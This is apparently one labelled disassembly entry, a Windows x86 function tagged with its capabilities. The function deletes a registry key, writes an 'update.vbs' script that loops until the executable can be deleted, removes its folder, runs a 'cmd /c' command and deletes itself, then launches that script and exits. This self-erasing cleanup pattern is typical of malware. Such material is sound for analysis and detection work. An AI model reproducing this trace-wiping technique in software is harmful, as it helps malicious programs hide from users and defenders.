Function at 0x4082ef
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
mov esi, 0x466f70
push edi
mov ecx, esi
call fcn.00402020
push eax
mov ecx, esi
call fcn.00402028
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b8]
push esi
push eax
mov ebx, 0x466f28
push str.exepath
mov ecx, ebx
call fcn.00402028
mov edx, eax
call fcn.0040c9a2
add esp, 0x14
xor edi, edi
test al, al
jne 0x40834d
push esi
lea eax, [ebp - 0x2b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00402028
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b8]
push 0x80
push eax
mov byte [ebp - 1], 1
call esi
mov ebx, eax
mov edx, 0x45862c
neg ebx
mov ecx, 0x466f40
sbb bl, bl
and bl, byte [ebp - 1]
call fcn.004062f3
test al, al
je 0x4083a6
push 0x80
mov ecx, 0x466f40
call fcn.00404459
push eax
call esi
push str.update.vbs
push 0x458a28
call fcn.00431b92
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00407536
pop ecx
lea ecx, [ebp - 0x34]
call fcn.004034ff
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x34]
call fcn.00403509
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x1c]
call fcn.00408c67
pop ecx
lea ecx, [ebp - 0x34]
call fcn.004034ff
test bl, bl
je 0x408449
push 0x458ad0
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403509
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00408c67
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405cd9
lea ecx, [ebp - 0x34]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
lea ecx, [ebp - 0x64]
call fcn.004034ff
push 0x458b08
lea eax, [ebp - 0x2b8]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x34]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00407536
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405cd9
lea ecx, [ebp - 0x64]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
lea ecx, [ebp - 0x34]
call fcn.004034ff
test bl, bl
je 0x4084aa
push str.wend_n
lea ecx, [ebp - 0x1c]
call fcn.00405cd0
mov ebx, 0x45862c
mov esi, 0x466f40
mov edx, ebx
mov ecx, esi
call fcn.004062f3
test al, al
je 0x4084f9
push 0x458b08
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x4c]
call fcn.00408c8b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405cd9
lea ecx, [ebp - 0x64]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
push 0x458bd0
push 0x458bd4
lea ecx, [ebp - 0xac]
call fcn.00403509
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x94]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00408c43
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00408bcd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405cd9
lea ecx, [ebp - 0x64]
call fcn.004034ff
lea ecx, [ebp - 0x4c]
call fcn.004034ff
lea ecx, [ebp - 0x34]
call fcn.004034ff
lea ecx, [ebp - 0x94]
call fcn.004034ff
lea ecx, [ebp - 0xac]
call fcn.004034ff
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x1c]
call fcn.00405cd0
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00404459
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402020
mov esi, eax
lea ecx, [ebp - 0x1c]
add esi, esi
call fcn.00404459
mov edx, esi
mov ecx, eax
call fcn.00413f84
pop ecx
pop ecx
test al, al
je 0x4085d9
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.00404459
push eax
push 0x4585bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x4085d9
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.004034ff
lea ecx, [ebp - 0x7c]
call fcn.004034ff
lea ecx, [ebp + 8]
call fcn.004034ff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret